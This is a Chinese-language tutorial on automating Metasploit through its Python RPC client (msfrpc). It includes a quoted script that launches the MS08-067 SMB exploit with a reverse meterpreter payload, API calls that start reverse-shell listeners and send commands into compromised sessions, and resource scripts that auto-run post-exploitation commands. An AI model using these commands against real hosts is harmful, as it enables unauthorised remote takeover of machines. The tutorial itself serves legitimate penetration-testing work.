Msf结合Python的使用
python依赖库
pip install msgpack
#SpiderLabs的那份的msfrpc库的call函数有点问题,我改了一下
wget https://raw.githubusercontent.com/fnmsd/msfrpc/master/python-msfrpc/msfrpc.py
起手
metaspolit端启动msfrpc
load msgrpc Pass=Rinne
#详细参数
#load msgrpc ServerHost=192.168.1.0 ServerPort=55553 User=user Pass='pass123'
执行结果:
PS:也可以不启动msf来启动msfrpcd,不过不推荐,不方便调试。
ruby msfrpcd -U user -P pass123 -p 55552 -a 127.0.0.1
pyhton端进行连接:
from msfrpc import Msfrpc
#默认连接127.0.0.1:55552,如果指定了端口或host可以将空字典改为{"host":hostname,"port":port}的形式指定端口
client = Msfrpc({})
client.login('msf','Rinne')#登陆成功返回True
得到一个登陆了的MsfRPC客户端,登陆保持的时间似乎比较短,长时间不用时需要重新登陆。
用法
直接读写Console的用法(不推荐)
网上很多是这么做的,先说下这种,在之前的登陆后的client基础上创建一个控制台,进行写入命令、读取输出,和直接在Metaspolit中操作是相同,个人感觉不太灵活。
以下转自:https://www.freebuf.com/sectool/61282.html
#创建控制台
ress = client.call('console.create')
console_id = ress['id']
#构建好要执行的命令
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
#将构建好的命令写入控制台
client.call('console.write',[console_id,commands])
#读取执行结果
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
使用module\jobs\sessions API进行操作
-
module API
#ModuleType exploit/post/payload/payloads/encoders client.call('module.execute',["ModuleType", "ModuleName", { "RHOST" => "1.2.3.4", "RPORT" => "80" }])
比如想使用multi/handler的进行meterpreter的监听(metasploit中设置参数时参数名可以忽略大小写,API调用时一定要注意大小写)
client.call('module.execute',['exploit','multi/handler',{ 'LHOST':'0.0.0.0', 'LPORT':22334, 'PAYLOAD':'windows/meterpreter/reverse_tcp' }])
可以看到成功创建了任务,如果任务创建不成功则job_id为None
-
jobs API
- 刚才创健的那个任务我们可以使用job.list API看到
client.call('job.list')
client.call('job.info',[jobid])
- 如果想停止任务使用job.stop API
client.call('job.stop',[jobid])
同时,可以看到对一个不存在的job使用stop会返回error。
- session API
- 查看当前session
client.call('session.list')
会返回详细的session信息
-
停止session
client.call('session.stop',[sessionid]) #还有个session.meterpreter_session_kill是杀掉meterpreter打开的channel或者shell
-
操作shell类session(直接往shell里写命令)
client.call('session.shell_write',[sessionid,'whoami']) client.call('session.shell_read',[sessionid])
-
操作meterpreter类session(相当于直接在控制台里与meterpreter进行交互)
client.call('session.meterpreter_write',[sessionid,'getuid']) client.call('session.meterpreter_read',[sessionid]) #还有一个session.meterpreter_run_single可以自行看下手册
-
session升级(shell升级到meterpreter)
client.call('session.shell_upgrade',[sessionid])
额外的一点东西
有的时候只是为了批量执行命令可以不使用msfrpc,直接写一个rc文件进行批量执行即可。
比如我只是想快速开一个监听器,按照metaspolit命令写这样一个脚本即可,比如叫listener.rc
use multi/handler
set payload windows/meterpter/reverse_tcp
set lhost 0.0.0.0
set lport 12345
set exitonsession false
exploit -j -z
打开msf直接执行resource listener.rc;或者msfconsole -r listener.rc。
同样在meterpreter session连接的时候,可以让其自动执行脚本。
use multi/handler
set AutoRunScript "multi_console_command -r /root/meterpreter.rc"
注意,一定要set AutoRunScript以后再启动handler,否则不生效。
设置好后,当新的session接入后就会自动执行文件中的命令。
参考
-
MSF常用RPC API(moudles\sessions\jobs…)
https://metasploit.help.rapid7.com/docs/standard-api-methods-reference
-
RPC相关参数